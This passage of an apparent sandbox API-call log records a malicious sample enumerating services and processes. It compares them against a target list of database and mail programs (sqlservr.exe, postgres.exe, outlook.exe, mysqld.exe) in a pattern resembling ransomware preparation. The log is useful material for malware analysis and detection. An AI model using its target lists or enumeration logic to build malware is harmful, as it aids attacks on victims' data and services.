lpString2="wscsvc") returned -1 [0051.387] lstrlenW (lpString="wuauserv") returned 8 [0051.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0051.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0051.387] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0051.387] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0051.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0051.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e1c0 | out: hHeap=0x5c0000) returned 1 [0051.388] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0051.394] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.396] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.397] lstrlenW (lpString="System") returned 6 [0051.397] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0051.397] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0051.397] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0051.397] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0051.397] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0051.397] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0051.397] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0051.397] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.399] lstrlenW (lpString="smss.exe") returned 8 [0051.399] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0051.399] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0051.399] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0051.399] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0051.399] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0051.399] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0051.399] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0051.399] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.400] lstrlenW (lpString="csrss.exe") returned 9 [0051.400] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.402] lstrlenW (lpString="wininit.exe") returned 11 [0051.402] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.403] lstrlenW (lpString="csrss.exe") returned 9 [0051.403] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.404] lstrlenW (lpString="winlogon.exe") returned 12 [0051.404] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.405] lstrlenW (lpString="services.exe") returned 12 [0051.405] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.406] lstrlenW (lpString="lsass.exe") returned 9 [0051.406] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.407] lstrlenW (lpString="lsm.exe") returned 7 [0051.407] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.408] lstrlenW (lpString="svchost.exe") returned 11 [0051.408] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.409] lstrlenW (lpString="svchost.exe") returned 11 [0051.409] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.410] lstrlenW (lpString="svchost.exe") returned 11 [0051.410] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.411] lstrlenW (lpString="svchost.exe") returned 11 [0051.411] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.412] lstrlenW (lpString="svchost.exe") returned 11 [0051.412] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.413] lstrlenW (lpString="audiodg.exe") returned 11 [0051.413] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.414] lstrlenW (lpString="svchost.exe") returned 11 [0051.414] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.415] lstrlenW (lpString="svchost.exe") returned 11 [0051.415] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.604] lstrlenW (lpString="dwm.exe") returned 7 [0051.604] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.605] lstrlenW (lpString="explorer.exe") returned 12 [0051.605] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.606] lstrlenW (lpString="spoolsv.exe") returned 11 [0051.606] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.607] lstrlenW (lpString="taskhost.exe") returned 12 [0051.607] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.609] lstrlenW (lpString="svchost.exe") returned 11 [0051.609] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.610] lstrlenW (lpString="taskeng.exe") returned 11 [0051.610] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.611] lstrlenW (lpString="taskhost.exe") returned 12 [0051.611] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.612] lstrlenW (lpString="svchost.exe") returned 11 [0051.612] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0051.613] lstrlenW (lpString="sppsvc.exe") returned 10 [0051.613] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.614] lstrlenW (lpString="svchost.exe") returned 11 [0051.614] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0051.615] lstrlenW (lpString="barrelsince.exe") returned 15 [0051.615] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0051.616] lstrlenW (lpString="cricket.exe") returned 11 [0051.616] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0051.618] lstrlenW (lpString="angelsalot.exe") returned 14 [0051.618] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0051.619] lstrlenW (lpString="bridge.exe") returned 10 [0051.619] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0051.620] lstrlenW (lpString="sh_shipping.exe") returned 15 [0051.620] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0051.621] lstrlenW (lpString="tobacco packet.exe") returned 18 [0051.621] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0051.622] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0051.622] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0051.623] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0051.624] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0051.625] lstrlenW (lpString="widespread.exe") returned 14 [0051.625] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0051.626] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0051.626] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0051.627] lstrlenW (lpString="zinc.exe") returned 8 [0051.627] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0051.628] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0051.628] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0051.629] lstrlenW (lpString="construction_rice.exe") returned 21 [0051.629] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0051.630] lstrlenW (lpString="mask.exe") returned 8 [0051.630] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0051.631] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0051.631] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0051.632] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0051.632] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0051.633] lstrlenW (lpString="curve standing.exe") returned 18 [0051.633] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0051.634] lstrlenW (lpString="3dftp.exe") returned 9 [0051.634] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0051.636] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0051.636] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0051.637] lstrlenW (lpString="alftp.exe") returned 9 [0051.637] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0051.638] lstrlenW (lpString="barca.exe") returned 9 [0051.638] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0051.640] lstrlenW (lpString="bitkinex.exe") returned 12 [0051.640] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0051.641] lstrlenW (lpString="coreftp.exe") returned 11 [0051.641] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0051.642] lstrlenW (lpString="far.exe") returned 7 [0051.642] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0051.643] lstrlenW (lpString="filezilla.exe") returned 13 [0051.643] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0051.644] lstrlenW (lpString="flashfxp.exe") returned 12 [0051.644] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0051.645] lstrlenW (lpString="fling.exe") returned 9 [0051.645] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0051.646] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0051.646] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0051.647] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0051.647] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0051.648] lstrlenW (lpString="icq.exe") returned 7 [0051.648] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0051.650] lstrlenW (lpString="leechftp.exe") returned 12 [0051.650] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0051.746] lstrlenW (lpString="ncftp.exe") returned 9 [0051.746] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0051.748] lstrlenW (lpString="notepad.exe") returned 11 [0051.748] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0051.750] lstrlenW (lpString="operamail.exe") returned 13 [0051.750] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0051.751] lstrlenW (lpString="pidgin.exe") returned 10 [0051.751] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0051.753] lstrlenW (lpString="scriptftp.exe") returned 13 [0051.753] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0051.754] lstrlenW (lpString="skype.exe") returned 9 [0051.754] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0051.756] lstrlenW (lpString="smartftp.exe") returned 12 [0051.756] Process32NextW (in: hSnapshot=0x1ac, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0051.757] lstrlenW (lpString="thunderbird.exe") returned 15 [0051.758] Process32NextW 